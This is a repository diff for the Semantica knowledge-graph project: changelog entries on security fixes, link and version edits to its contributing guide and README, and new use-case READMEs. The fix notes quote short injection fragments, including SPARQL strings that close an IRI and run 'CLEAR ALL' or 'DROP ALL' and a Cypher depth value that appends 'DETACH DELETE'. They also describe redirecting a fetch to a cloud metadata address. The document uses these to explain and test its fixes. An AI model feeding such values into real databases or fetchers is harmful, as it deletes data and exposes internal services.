- New `tests/triplet_store/test_sparql_injection.py` (12+ tests) reproducing the advisory's own injection payload (`http://example.com/a> ... ; CLEAR ALL ; INSERT DATA { ...`) against all three backends' write and read paths, asserting the malicious query is never built or sent. Full triplet_store suite: 330+ tests passing
|
||||
- Side note, not part of this fix: found that `jena_store.py`'s `get_triplets()` builds syntactically invalid SPARQL for its WHERE-clause filters (missing a `FILTER()`/separator before the equality conditions) — a pre-existing correctness bug, unrelated to the injection fix, left alone here and worth a separate follow-up
|
||||
|
||||
- **Cypher injection via unvalidated node labels, relationship types, and property keys** (#910, GHSA-482h-hw99-h62p) by @KaifAhmad1
|
||||
- Node labels and property keys passed to `create_node`/`create_relationship` were interpolated directly into Cypher strings in the Neptune, Neo4j, and FalkorDB graph stores. Property *values* are parameterized, but labels and keys can't be bound as query parameters, and nothing validated them — so a document-derived entity type or property name (the normal ingest path) could close the current Cypher token early and append arbitrary statements (e.g. `DETACH DELETE`), running with the application's database credentials
|
||||
- New shared `semantica/graph_store/query_sanitize.py`: `sanitize_identifier()` generalizes `age_store.py`'s existing `_sanitize_label`/`_sanitize_rel_type` (the only backend that already validated this) into a helper the other backends import without an import cycle with `graph_store.py`/`methods.py`
|
||||
- Applied at every label/relationship-type/property-key interpolation site in `amazon_neptune.py`, `neo4j_store.py`, `falkordb_store.py`, `graph_store.py` (`degree_centrality`'s own query builder), and `methods.py` (`update_relationship`'s own query builder) — covers `create_node`, `create_nodes`, `create_relationship`, `get_nodes`, `get_relationships`, `get_neighbors`, `shortest_path`, `update_node`, `create_index`, and all relationship-type filters across the three backends
|
||||
- **Fixed along the way** (caught in review, by @Sameer6305): `depth`/`max_depth` path-length parameters are meant to be integers, but `Neo4jStore.get_neighbors()`/`shortest_path()` interpolated them into the Cypher variable-length-path syntax (`*1..{depth}`) without coercion — unlike the Neptune/FalkorDB equivalents, which already cast to `int()`. A string `depth` (e.g. `"1]->(x) DETACH DELETE x //"`) reached the query verbatim. Added the same `int()` coercion Neptune/FalkorDB already had, plus `GraphStore.get_neighbors()`'s `hops`/`depth` alias resolution
|
||||
- New `tests/graph_store/test_cypher_injection.py` (unit tests on `sanitize_identifier` plus the labels/keys/rel-types injection payload run against Neptune/Neo4j/FalkorDB `create_node`/`create_relationship`, asserting the malicious query is never built or sent) and the depth-coercion regression above; plus additions to `tests/test_graph_store.py` (`degree_centrality`) and `tests/test_graph_store_methods.py` (`update_relationship`). Full graph_store suite: 224+ tests passing
|
||||
|
||||
- **4 critical/high vulnerabilities in the Explorer API and vector store: RCE, SSRF, XXE, and DoS, plus Cypher/SPARQL injection hardening found along the way** (#898) by @Sunil56224972
|
||||
- **[CWE-502] Arbitrary code execution via `pickle.load()`**: `VectorStore.save()`/`load()` used `pickle` for the on-disk `store_data.pkl`; a crafted `.pkl` file placed in the store directory (file upload, shared filesystem, or supply-chain compromise) could execute arbitrary code on deserialization. Replaced with JSON — vectors and metadata are fully JSON-serializable, so nothing is lost — and `load()` now refuses any legacy `.pkl` file it finds with a migration error rather than deserializing it
|
||||
- **[CWE-918] SSRF via redirect bypass in `ontology.py`'s URL fetcher**: `_validate_fetch_url()` correctly blocked private/loopback/reserved addresses on the caller-supplied URL, but `_fetch_url_sync()` fetched with `allow_redirects=True`, so a validated *public* first hop could 302 to `http://169.254.169.254/...` (cloud instance metadata) or an internal service, and `requests` followed it with no re-check. Redirects are now followed manually, capped at 5 hops, with `_validate_fetch_url()` re-run against every hop's target — including relative `Location` headers, resolved via `urljoin()` before validation — and every response (redirect or final) is explicitly closed to avoid leaking connections back to the pool
|
||||
- **[CWE-611] XXE injection in the RDF/XML parser**: `_safe_parse_rdf()` depended on `defusedxml` for XXE protection, but `defusedxml` wasn't declared in `pyproject.toml`'s `explorer` extra, so it was silently absent in normal installs and the code fell back to a bare warning plus unsafe parsing — a crafted RDF/XML ontology with an external entity could read arbitrary server files. Added `defusedxml>=0.7.1` to the extra, and `_safe_parse_rdf()` now fails closed: it raises rather than parsing untrusted RDF/XML if `defusedxml` isn't importable, replacing an earlier regex-based DOCTYPE-stripping fallback that was reviewed and rejected as bypassable
|
||||
- **[CWE-770] DoS via unbounded SPARQL graph materialization**: `_build_rdflib_graph()` loaded up to 999,999 nodes and 999,999 edges into memory per query, and with up to 4 concurrent SPARQL requests permitted, an attacker could exhaust server memory. Added a 50,000 node/edge cap (`_SPARQL_MAX_GRAPH_NODES`); oversized graphs now return a clean error instead of attempting materialization
|
||||
- **Cypher injection via Apache AGE's `graph_name` and `$$`-delimiter breakout**: `graph_name` was interpolated unvalidated into `cypher('{graph_name}', $$ ... $$)`, and raw Cypher query text containing `$$` could close AGE's dollar-quoted string delimiter early and append arbitrary SQL. `graph_name` is now validated against the same identifier allowlist `age_store.py` already used for labels/relationship types, and any query containing `$$` is rejected outright
|
||||
- **SPARQL Explorer route (`/api/sparql`) hardened against comment/PREFIX-hiding bypass**: `_is_read_only_query()` now strips comments and PREFIX/BASE declarations before checking the leading keyword, and additionally scans the full query body for SPARQL Update keywords (INSERT/DELETE/DROP/LOAD/CLEAR/CREATE/COPY/MOVE/ADD) — so `SELECT ... ; DROP ALL` is now rejected by the keyword scan itself rather than relying solely on rdflib's parser
|
||||
- **Fixed along the way** (maintainer follow-up, addressing automated review findings and a regression introduced across several rounds of iteration on the original fix):
|
||||
- `VectorStore.save()`'s numpy handling used `list(v)` for the JSON fallback path, which produces `numpy.float32` elements that `json.dump()` can't serialize — changed to `v.tolist()`
|
||||
- the SPARQL graph-size `ValueError` was raised outside `execute_sparql()`'s exception handling and surfaced as an unhandled 500 instead of a clean API error — moved inside
|
||||
- every streamed `requests` response in the ontology redirect loop, including the one actually read and returned, is now closed in a `finally` block — a connection-pool leak that a rework of the redirect logic had briefly reintroduced after an earlier fix
|
||||
- a later commit meant to add opt-in API-key auth (`explorer/auth.py`, gated on `EXPLORER_API_KEY`) instead **replaced and silently disabled** the `Depends(require_auth)` enforcement already merged into `main` for GHSA-j4mq-hprp-987v (Critical — unauthenticated Explorer API), removed the `/ws/graph-updates` handshake check, and — unlike `require_auth` — failed *open* (allowed all requests) whenever its key was unset. Merging that version would have silently reverted an already-fixed Critical CVE the moment this branch landed. Removed `explorer/auth.py`; restored the per-router `Depends(require_auth)` wiring and the WebSocket auth check; kept the one genuine improvement in that commit (adding `X-API-Key` to the CORS `allow_headers` list) by folding it into the existing CORS config
|
||||
- the new SPARQL keyword-scan's comment-stripping regex (`#[^\n]*`) also matched the `#` inside standard RDF namespace IRIs (e.g. `.../1999/02/22-rdf-syntax-ns#`), corrupting any query with a normal `rdf:`/`rdfs:`-style `PREFIX` declaration — caught because the hardening's own bundled tests failed against two of its own cases. Fixed by only treating `#` as a comment-start at line-start or after whitespace; the companion `PREFIX`/`BASE` regex was also fixed to accept bare `BASE <...>` declarations, which have no prefix-name token between the keyword and the IRI
|
||||
- New/updated regression tests: `tests/explorer/test_ontology_ssrf.py` (redirect re-validation, relative-redirect resolution, response closing, redirect-cap enforcement), `tests/test_security_regression.py` (Cypher/SPARQL injection, XXE, numpy serialization, SSRF redirect handling), plus additions to `tests/explorer/test_sparql_route.py`, `tests/vector_store/test_vector_store.py`, and `tests/explorer/test_explorer_auth.py`
|
||||
- Note: the Cypher-injection hardening here is scoped to `age_store.py`'s `graph_name`/`$$` breakout, found while reviewing this PR. The broader label/property-key/relationship-type injection across the Neptune, Neo4j, and FalkorDB backends (GHSA-482h-hw99-h62p, #910) and the triplet-store SPARQL injection across Blazegraph/RDF4J/Jena (GHSA-8vgg-8mr4-r236, #911) are covered by separate, still-open PRs, as is the unauthenticated-Explorer-API fix referenced above (GHSA-j4mq-hprp-987v, #909, already merged)
|
||||
|
||||
- **CI/CD supply-chain hardening against mutable-tag Action compromise (LiteLLM/Trivy-class attack)** (#824) by @KaifAhmad1
|
||||
- Every third-party GitHub Action across all 8 workflows is now pinned to a full commit SHA instead of a mutable tag (`@v7` → `@3d3c42e... # v7`), closing the exact vector used against LiteLLM in March 2026 (a compromised Trivy Action tag stole a long-lived publishing token)
|
||||
- Added `verify-action-pins.yml` + `.github/scripts/verify-action-pins.sh`: a CI check that fails closed on any `uses:` reference that isn't a full SHA (catching a newly introduced mutable tag, not just auditing existing pins) and re-verifies every pin against the GitHub API on each workflow change, on push to `main`, and weekly; an unresolvable API lookup is treated as a failure rather than a silent skip
|
||||
|
||||
+13
-70
@@ -2,44 +2,20 @@
|
||||
|
||||
Thank you for your interest in contributing! Every contribution, no matter how small, is valuable. 🎉
|
||||
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
|
||||
> **New to contributing?** Start with a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community.
|
||||
> **New to contributing?** Start with a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community.
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Quick Start
|
||||
|
||||
1. Find a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue)
|
||||
2. [Fork Semantica](https://github.com/semantica-agi/semantica/fork) & clone the repository
|
||||
1. Find a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue)
|
||||
2. [Fork Semantica](https://github.com/Hawksight-AI/semantica/fork) & clone the repository
|
||||
3. Make your changes
|
||||
4. Submit a pull request!
|
||||
|
||||
**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
|
||||
|
||||
---
|
||||
|
||||
## 🗂️ Working on an Existing Issue
|
||||
|
||||
If you want to work on an open GitHub issue, please follow these steps to keep things coordinated and avoid duplicate effort:
|
||||
|
||||
1. **Check the issue.** Look at the issue's assignees and recent comments. If someone is already actively working on it, consider a different issue or ask in the comments whether help is welcome.
|
||||
|
||||
2. **Comment before you start.** Leave a comment on the issue saying you'd like to work on it — something like *"I'd like to take this on"* is enough. This gives maintainers the context they need to assign the issue appropriately.
|
||||
|
||||
3. **Wait for assignment.** A maintainer will review the request and assign the issue when appropriate. Please wait for this before investing significant time in implementation, as priorities and approaches can shift.
|
||||
|
||||
4. **Create a branch and implement.** Once assigned, fork the repository (if you haven't already), create a dedicated branch, and begin your work.
|
||||
|
||||
```bash
|
||||
git checkout -b fix/short-description # or feature/short-description
|
||||
```
|
||||
|
||||
5. **Open a focused PR and link the issue.** When you're ready, open a pull request and reference the issue in the description (e.g., `Closes #123`). Keep the PR scoped to the work described in the issue.
|
||||
|
||||
> **Why this matters:** Commenting before opening a PR helps maintainers track who is working on what, assign issues correctly, and prevent two contributors from solving the same problem independently. It also gives you a chance to align on the expected approach before writing code.
|
||||
|
||||
Not sure where to start? Try a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH).
|
||||
**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
|
||||
|
||||
---
|
||||
|
||||
@@ -102,7 +78,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/semantica
|
||||
|
||||
**What:** Report bugs you find
|
||||
|
||||
**How:** Use the [bug report template](https://github.com/semantica-agi/semantica/issues/new?template=bug_report.md)
|
||||
**How:** Use the [bug report template](https://github.com/Hawksight-AI/semantica/issues/new?template=bug_report.md)
|
||||
|
||||
**Include:** Description, steps to reproduce, expected vs actual behavior, environment details
|
||||
|
||||
@@ -112,7 +88,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/semantica
|
||||
|
||||
**What:** Suggest new features or improvements
|
||||
|
||||
**How:** Use the [feature request template](https://github.com/semantica-agi/semantica/issues/new?template=feature_request.md)
|
||||
**How:** Use the [feature request template](https://github.com/Hawksight-AI/semantica/issues/new?template=feature_request.md)
|
||||
|
||||
**Include:** Problem statement, proposed solution, use cases
|
||||
|
||||
@@ -132,7 +108,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/semantica
|
||||
|
||||
**What:** Help others in the community
|
||||
|
||||
**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
|
||||
**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
|
||||
|
||||
**Examples:** Answer questions, review PRs, share your projects
|
||||
|
||||
@@ -159,12 +135,12 @@ Not sure where to start? Try a [`good first issue`](https://github.com/semantica
|
||||
|
||||
### 1. Fork & Clone
|
||||
|
||||
First, [fork Semantica](https://github.com/semantica-agi/semantica/fork) on GitHub, then:
|
||||
First, [fork Semantica](https://github.com/Hawksight-AI/semantica/fork) on GitHub, then:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/your-username/semantica.git
|
||||
cd semantica
|
||||
git remote add upstream https://github.com/semantica-agi/semantica.git
|
||||
git remote add upstream https://github.com/Hawksight-AI/semantica.git
|
||||
```
|
||||
|
||||
### 2. Set Up Environment
|
||||
@@ -181,39 +157,6 @@ pip install -e ".[dev]"
|
||||
pre-commit install
|
||||
```
|
||||
|
||||
### Pinned CI dependencies
|
||||
|
||||
`requirements-ci.txt` pins every transitive dependency at exact versions so CI,
|
||||
security scans, and release builds install the same packages every run (the
|
||||
Python equivalent of `explorer/package-lock.json` + `npm ci`). It is a
|
||||
**separate build environment**: every package carries a SHA-256 hash
|
||||
(`--generate-hashes`), so installs are reproducible and supply-chain safe —
|
||||
never install into your local dev environment from it.
|
||||
|
||||
Regenerate it after changing `pyproject.toml` dependencies:
|
||||
|
||||
```bash
|
||||
pip install uv==0.12.1
|
||||
uv pip compile pyproject.toml --python-version 3.11 --extra all --generate-hashes -o requirements-ci.txt
|
||||
```
|
||||
|
||||
The `all` extra is the repo's cross-platform dependency set (GPU extras like
|
||||
`faiss-gpu`/`cupy` are excluded and installed separately on Linux — see
|
||||
`pyproject.toml`). Keep the pinned `uv` version in sync with CI so regeneration
|
||||
is deterministic.
|
||||
|
||||
CI's staleness check re-resolves with the committed lockfile as a constraint
|
||||
and compares version lines only: upstream package releases never fail CI —
|
||||
the lockfile changes only when `pyproject.toml` changes intentionally.
|
||||
|
||||
CI fails if `requirements-ci.txt` is stale relative to `pyproject.toml`
|
||||
(the version-line comparison detects new/removed/changed dependencies).
|
||||
|
||||
Build-system pins: `[build-system].requires` is pinned to exact versions
|
||||
(`setuptools==84.0.0`, `wheel==0.48.0`) and release builds run
|
||||
`python -m build --no-isolation` against the lockfile — no unpinned
|
||||
build-time isolation anywhere.
|
||||
|
||||
### 3. Create Branch
|
||||
|
||||
```bash
|
||||
@@ -384,8 +327,8 @@ result = instance.method()
|
||||
## 🆘 Getting Help
|
||||
|
||||
- 💬 [Discord](https://discord.gg/sV34vps5hH) - Real-time chat
|
||||
- 💭 [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions) - Q&A
|
||||
- 🐛 [GitHub Issues](https://github.com/semantica-agi/semantica/issues) - Bug reports
|
||||
- 💭 [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions) - Q&A
|
||||
- 🐛 [GitHub Issues](https://github.com/Hawksight-AI/semantica/issues) - Bug reports
|
||||
|
||||
**Before asking:** Check existing documentation, search issues/discussions, review cookbook examples
|
||||
|
||||
@@ -420,4 +363,4 @@ This project follows a [Code of Conduct](CODE_OF_CONDUCT.md). Be respectful and
|
||||
|
||||
Every contribution matters - whether it's a single line of code, a typo fix, a helpful answer, or a bug report. We appreciate you! 🙏
|
||||
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
|
||||
<img src="Semantica Logo.png" alt="Semantica" width="420"/>
|
||||
|
||||
<a href="https://trendshift.io/repositories/18986?utm_source=repository-badge&utm_medium=badge&utm_campaign=badge-repository-18986" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/repositories/18986" alt="semantica-agi%2Fsemantica | Trendshift" width="250" height="55"/></a>
|
||||
|
||||
### Graph-Native Infrastructure for Context and Accountable AI Systems
|
||||
|
||||
#### *The Open Source Palantir for AI Agents*
|
||||
@@ -75,7 +73,7 @@ Semantica sits underneath your LLM, vector store, and agent framework as a deter
|
||||
- **Knowledge Pipeline:** Multi-source ingestion, entity-aware chunking, NER/relation/event extraction, and knowledge graph construction, with semantic deduplication and provenance-preserving merges throughout
|
||||
- **Enterprise Data Platforms:** Native connectors for Databricks (Unity Catalog + Delta Lake, PAT/OAuth M2M auth, catalog/schema/table/lineage introspection) and Snowflake (warehouse/database/schema, key-pair and OAuth auth), so tables already living in your lakehouse or warehouse become graph nodes with provenance, not another export/import hop
|
||||
- **Graph Analytics:** Centrality, community detection, link prediction, and shortest-path queries over the graph you just built
|
||||
- **Polyglot Graph Storage:** Native RDF (embedded Oxigraph, Blazegraph, Apache Jena, Eclipse RDF4J via SPARQL) and Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune via Cypher), plus vector stores, all swappable without touching your code
|
||||
- **Polyglot Graph Storage:** Native RDF (Blazegraph, Apache Jena, Eclipse RDF4J via SPARQL) and Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune via Cypher), plus vector stores, all swappable without touching your code
|
||||
- **Visualization:** Explore any graph, ontology, or timeline in an interactive browser workbench
|
||||
- **Drop-in Integrations:** Native Agno support, a full-featured MCP server, a comprehensive CLI, a REST API, and plugins across major editors
|
||||
|
||||
@@ -132,7 +130,7 @@ compliant = graph.check_decision_rules({"category": "vendor_selection"}) # poli
|
||||
```bash
|
||||
semantica doctor
|
||||
# Python 3.11.9 pass
|
||||
# semantica 0.6.5 pass
|
||||
# semantica 0.6.0 pass
|
||||
# faiss vector store pass
|
||||
# Config file pass ~/.semantica/config.yaml
|
||||
```
|
||||
@@ -162,7 +160,7 @@ Sources → Ingest → Parse → Normalize → Split → Extract → Conflict De
|
||||
- **Extract → Conflict Detection → Deduplication:** NER, relations, events, triplets; conflicting facts flagged and resolved before they merge
|
||||
- **Knowledge Graph:** `GraphBuilder` constructs the graph; bi-temporal facts and full graph analytics (centrality, communities, link prediction) run on top of it
|
||||
- **Ontology · Reasoning · Provenance · Decisions:** the intelligence layer sitting on the KG, with SHACL/OWL governance, Rete/Datalog/SPARQL inference, W3C PROV-O lineage, and first-class decision records
|
||||
- **Storage:** polyglot by design, with RDF triple stores (embedded Oxigraph, Blazegraph, Apache Jena, Eclipse RDF4J), Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune), and vector stores, all swappable without touching your code
|
||||
- **Storage:** polyglot by design, with RDF triple stores (Blazegraph, Apache Jena, Eclipse RDF4J), Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune), and vector stores, all swappable without touching your code
|
||||
- **Outputs:** export (RDF, OWL, Parquet, Cypher, JSON-LD), interactive visualization, and access via REST API, MCP server, or CLI
|
||||
|
||||
**→ [Full Mermaid diagrams for the pipeline and the decision intelligence lifecycle](ARCHITECTURE.md)**
|
||||
@@ -1147,7 +1145,7 @@ if report.valid:
|
||||
| **Ontology Hub** | SHACL Studio · visual editor · cross-ontology alignments · health dashboard |
|
||||
| **Vector Store** | FAISS · Pinecone · Weaviate · Qdrant · Milvus · PgVector · hybrid + filtered search |
|
||||
| **Graph Databases (LPG)** | Neo4j · FalkorDB · Apache AGE · AWS Neptune |
|
||||
| **Triple Stores (RDF)** | Oxigraph (embedded) · Blazegraph · Apache Jena · Eclipse RDF4J · unified `TripletStore` interface · SPARQL query & bulk load |
|
||||
| **Triple Stores (RDF)** | Blazegraph · Apache Jena · Eclipse RDF4J · unified `TripletStore` interface · SPARQL query & bulk load |
|
||||
| **Enterprise Data Platforms** | Databricks (`DatabricksIngestor`: Unity Catalog + Delta Lake, PAT/OAuth M2M, table/query ingestion, catalog/schema/table/lineage introspection) · Snowflake (`SnowflakeIngestor`: warehouse/database/schema, password/key-pair/OAuth auth) |
|
||||
| **LLM Providers** | **All already supported today:** OpenAI (GPT-4o, o1, o3) · Anthropic (Claude) · Google Gemini · Mistral · Meta Llama · Groq · Cohere · Azure OpenAI · AWS Bedrock · Ollama · DeepSeek · Perplexity · Together AI · Fireworks AI · Replicate · HuggingFace · via `semantica.llms` and LiteLLM |
|
||||
|
||||
@@ -1474,18 +1472,12 @@ For contributor / dev-server setup: **[explorer/README.md: Local Setup Guide](ex
|
||||
|
||||
---
|
||||
|
||||
## What's New in v0.6.5
|
||||
## What's New in v0.6.0
|
||||
|
||||
**Security release — upgrading is strongly recommended.** Fixes for 5 externally-reported vulnerabilities in the Explorer API and graph/triplet store backends, plus a CodeQL-flagged ReDoS:
|
||||
|
||||
- **Missing authentication on all Explorer API routes** (GHSA-j4mq-hprp-987v, Critical): every route now requires `SEMANTICA_API_KEY`, fails closed (503) rather than open when unconfigured
|
||||
- **SSRF via redirect bypass in ontology URL fetching** (GHSA-8c7v-62gr-hj6g, High): redirect targets are now re-validated at every hop and the connection is pinned to the validated address, closing a DNS check-then-use race
|
||||
- **Cypher injection via unvalidated node labels and property keys** (GHSA-482h-hw99-h62p, Critical): Neptune, Neo4j, and FalkorDB now sanitize every label/relationship-type/property-key interpolation site
|
||||
- **SPARQL injection via unvalidated triplet IRIs** (GHSA-8vgg-8mr4-r236, Critical): Blazegraph, RDF4J, and Jena now validate subject/predicate/object IRIs before interpolation
|
||||
- **Missing Origin validation on the WebSocket handshake** (GHSA-4643-wpgq-w329, Moderate, anonymous-mode only): `/ws/graph-updates` now checks `Origin` against the same allowlist `CORSMiddleware` enforces for HTTP
|
||||
- **Polynomial ReDoS in SPARQL query validation** (CodeQL `py/polynomial-redos`): fixed a backtracking regex in the Explorer's SPARQL route
|
||||
|
||||
Also includes: embedded Oxigraph backend for `TripletStore`, PROV-O trust/spec completeness for `ProvenanceManager`, and the Altair Anzo triplet store backend.
|
||||
- **Named-Graph Support for `JenaStore`:** Migrated onto `rdflib.Dataset(default_union=False)`, completing cross-backend named-graph parity across Blazegraph, RDF4J, and Jena; `add_triplets()` gains a `graph=` option
|
||||
- **SPARQL CONSTRUCT Query Templates:** Parameterized, injection-safe `CONSTRUCT` templates extended from Blazegraph-only to RDF4J and Jena, plus pipeline integration via the `construct_template` step type
|
||||
- **Databricks Connector:** `DatabricksIngestor` for Unity Catalog + Delta Lake ingestion, with PAT/OAuth M2M auth, table/query ingestion, and catalog/schema/table/lineage introspection. Install with `pip install "semantica[db-databricks]"`
|
||||
- **SQLite Vector Store Backend:** `SQLiteVecStore`, a disk-backed local vector store on `sqlite-vec`'s `vec0` virtual tables, with Cosine/L2 metrics, metadata filtering, and WAL mode. Install with `pip install semantica[vectorstore-sqlite]`
|
||||
|
||||
→ [Full release notes](RELEASE_NOTES.md) · [Changelog](CHANGELOG.md)
|
||||
|
||||
@@ -1519,7 +1511,6 @@ pip install semantica[graph-neo4j] # Neo4j graph store (LPG)
|
||||
pip install semantica[graph-falkordb] # FalkorDB graph store (LPG)
|
||||
pip install semantica[graph-apache-age] # Apache AGE graph store (LPG)
|
||||
pip install semantica[graph-amazon-neptune] # AWS Neptune graph store (LPG)
|
||||
pip install semantica[tripletstore-oxigraph] # Embedded in-memory/on-disk RDF store
|
||||
# RDF triple stores (Blazegraph, Apache Jena, Eclipse RDF4J) need no extra:
|
||||
# semantica.triplet_store talks SPARQL over HTTP using the core `requests` dependency
|
||||
pip install semantica[vectorstore-qdrant] # Qdrant vector store
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# Use Cases
|
||||
|
||||
Self-contained, end-to-end examples that combine multiple Semantica modules to solve a real-world problem, built from real public data and real external ontologies rather than synthetic samples. Unlike the tutorials in `introduction/` and `advanced/`, each use case is a folder, not a single notebook, with its own `data/` (real source documents plus a download script) and `ontology/` (vendored real ontologies plus a small domain extension) alongside the notebook itself.
|
||||
|
||||
## Available Use Cases
|
||||
|
||||
- **[Regulatory Intelligence](regulatory_intelligence/README.md)**. Turns 9 real U.S. federal AI-governance and cybersecurity-regulation documents (NIST AI RMF, NIST CSF 1.1/2.0, HIPAA Security Rule, Executive Order 14110, OMB M-24-10, and more) into an explainable, ontology-driven knowledge graph. Full pipeline: ingestion (`PDFParser`/`DoclingParser`), chunking (`TextSplitter`), automatic entity, relation, and triplet extraction across the corpus, ontology import, generation, and evaluation, entity resolution, graph construction (`GraphBuilder`), SHACL validation, deterministic rule-based reasoning (`Reasoner`), PROV-O provenance, a persistent RDF database (Oxigraph on disk, plus Semantica's `TripletStore` for a production server), conflict detection, temporal reasoning, SPARQL, JSON-LD, GraphRAG, and a five-agent Decision Intelligence workflow (precedent search, causal-chain interpretation, policy gating, decision audit reports). Reuses real W3C ontologies (ORG, PROV-O, SKOS, DCAT, OWL-Time, FRBR) rather than inventing new ones.
|
||||
|
||||
## Folder Convention
|
||||
|
||||
```
|
||||
use_cases/<name>/
|
||||
├── README.md overview, architecture, data and ontology attribution, how to run
|
||||
├── data/
|
||||
│ ├── download_*.py fetches real source documents from their official URLs
|
||||
│ ├── raw/ the fetched documents, plus a source_manifest.json (real URLs, retrieval dates)
|
||||
│ └── README.md data dictionary and source attribution
|
||||
├── ontology/
|
||||
│ ├── download_*.py fetches real external ontologies (vendored byte-for-byte)
|
||||
│ ├── external/ the vendored real ontology files
|
||||
│ ├── *.ttl small hand-authored schema extensions, aligned to the vendored ontologies
|
||||
│ └── README.md
|
||||
└── notebook/
|
||||
└── *.ipynb the end-to-end walkthrough
|
||||
```
|
||||
@@ -0,0 +1,173 @@
|
||||
# Regulatory Intelligence
|
||||
|
||||
An end-to-end Semantica pipeline that turns real U.S. federal AI-governance and cybersecurity regulations into an explainable, ontology-driven knowledge graph.
|
||||
|
||||
## Use case
|
||||
|
||||
- Federal AI-governance and cybersecurity regulations are published independently by different agencies (NIST, OMB, HHS, the Federal Reserve), with no cross-referencing between documents.
|
||||
- A compliance question spanning several of them, such as "which regulations apply to an AI system in sector X," "do these two frameworks agree," or "what changed between versions," currently requires a human to read all of them and cross-reference manually.
|
||||
- This notebook builds a knowledge graph that answers those questions directly, with cited evidence, computed (not narrated) conflict and diff detection, and policy-gated, auditable decisions for two sectors: healthcare and financial services.
|
||||
- Scope is deliberately narrow: 9 real documents, not full corpora. See "Scope" below.
|
||||
|
||||
## Questions this notebook answers
|
||||
|
||||
- Which cybersecurity regulations apply to hospitals? Answered with hybrid GraphRAG retrieval (`AgentContext.query_with_reasoning()`).
|
||||
- Which policies contradict each other? Answered with real conflict detection (`ConflictDetector`) between OMB M-24-10's binary AI risk-classification approach and NIST AI 600-1's continuous one.
|
||||
- What changed between framework versions? Answered with real, document-verified temporal diffing (`TemporalVersionManager`): CSF 2.0 added the Govern function relative to CSF 1.1.
|
||||
- Show every regulation related to AI transparency. Answered with a connected subgraph via SPARQL, not a flat document list.
|
||||
- Can Hospital X or Bank Y deploy this AI system under current regulations? Answered with a policy-gated, precedent-aware, causally-explainable Decision Intelligence workflow.
|
||||
|
||||
## Pipeline
|
||||
|
||||
```
|
||||
Real Documents (PDF / XML)
|
||||
│
|
||||
▼
|
||||
Ingestion PDFParser · DoclingParser · ingest_xml
|
||||
│
|
||||
▼
|
||||
Chunking TextSplitter (all 9 documents)
|
||||
│
|
||||
▼
|
||||
Extraction NERExtractor · RelationExtractor · TripletExtractor
|
||||
│
|
||||
▼
|
||||
Ontology Import OntologyIngestor ◄──── 6 real W3C/SPAR ontologies
|
||||
│ (ORG · PROV-O · SKOS · DCAT · OWL-Time · FRBR)
|
||||
▼
|
||||
Curated Requirement Clauses JSONParser
|
||||
│
|
||||
▼
|
||||
Entity Resolution EntityResolver · SimilarityCalculator
|
||||
│
|
||||
▼
|
||||
Knowledge Graph ContextGraph via GraphBuilder
|
||||
│
|
||||
├──► Ontology Generation & Evaluation OntologyGenerator · OntologyEvaluator
|
||||
├──► SHACL Validation SHACLGenerator · pyshacl
|
||||
├──► Deterministic Reasoning Reasoner (forward-chaining)
|
||||
├──► Provenance ProvenanceManager (PROV-O)
|
||||
└──► Persistent RDF Database Oxigraph (on-disk) + TripletStore (Blazegraph/Jena)
|
||||
│
|
||||
▼
|
||||
Conflict Detection · Temporal Reasoning ConflictDetector · TemporalVersionManager
|
||||
│
|
||||
▼
|
||||
SPARQL · JSON-LD Oxigraph · rdflib · RDFExporter
|
||||
│
|
||||
▼
|
||||
GraphRAG Retrieval AgentContext.query_with_reasoning()
|
||||
│
|
||||
▼
|
||||
Decision Intelligence PolicyEngine · CausalChainAnalyzer · precedent search · audit report
|
||||
│
|
||||
▼
|
||||
Explainable, evidence-backed answer
|
||||
```
|
||||
|
||||
## What each layer demonstrates
|
||||
|
||||
- **Ingestion**: `PDFParser` (fast) and `DoclingParser` (layout-aware, used selectively) turn heterogeneous file formats into normalized text.
|
||||
- **Chunking**: `TextSplitter` breaks every one of the 9 documents into bounded, citation-addressable units (840 chunks total in a real run).
|
||||
